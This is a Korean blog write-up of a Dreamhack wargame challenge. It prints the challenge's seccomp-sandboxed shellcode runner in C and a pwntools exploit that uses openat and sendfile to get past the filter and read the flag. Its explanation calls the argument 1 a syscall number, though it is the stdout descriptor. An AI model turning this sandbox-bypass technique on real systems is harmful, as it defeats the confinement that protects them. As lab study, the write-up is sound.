[Dreamhack] SECCOMP: 3 - Bypass SECCOMP (wargame1)

securitykss·2023년 2월 27일
0

Pwnable 강의(dreamhack)

목록 보기
43/58

1. Description

2. Check

2.1 C code

// Name: bypass_syscall.c
// Compile: gcc -o bypass_syscall bypass_syscall.c -lseccomp

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

code description

init()은 생략

sandbox()에서 ALLOW 리스트 기반으로, 시스템 명령어를 실행하는 open, execve, execveat, write 함수들을 막아놨다.

main()에서는 shellcode를 입력하고 실행한다.

2.2 file

2.3 checksec

3. Design

open이 막혀있으니 openat 함수를 shellcode에 넣고,

write가 막혀 있으니, sendfile 함수를 사용해서 write 대신 shellcode에 입력할 것이다.

4. Exploit

4.1 exploit code

from pwn import *

#p = process("./bypass_syscall")
p =remote("host3.dreamhack.games", 19550)

context.log_level = "DEBUG"
context.arch = 'x86_64'

shellcode = shellcraft.openat(0, "/home/bypass_syscall/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d", "mov r10d, 0xffff")
shellcode += shellcraft.exit(0)

p.sendlineafter("shellcode: ", asm(shellcode))

p.interactive()

4.2 code description

설명이 중요한 부분은

sendfile 다음에 인자들 인데, sendfile(1, 'rax', 0).replace("xor r10d, r10d", "mov r10d, 0xffff")를 보면

1은 write syscall 번호이고, 'rax'는 openat에서 구한 file 경로("/home/bypass_syscall/flag")(읽을 파일 내용)가 들어있어 넣었고

0는 offset 설정

그 다음 replace 함수로, "xor r10d, r10d"가 있는 경우, "mov r10d, 0xffff"로 바꾸라는 의미이다.

함수 호출규약의 4번째 인자는 r10으로 받기 때문에, 저 xor이 있는 경우 count가 0이 되므로 "mov r10d, 0xffff"로 대체하면 count 하는 값이 커져서

sendfile이 잘 실행될 것이다.

4.3 result

flag를 획득했다.

Reference

https://dreamhack.io/wargame/challenges/361/

profile
보안 공부를 하는 학생입니다.

0개의 댓글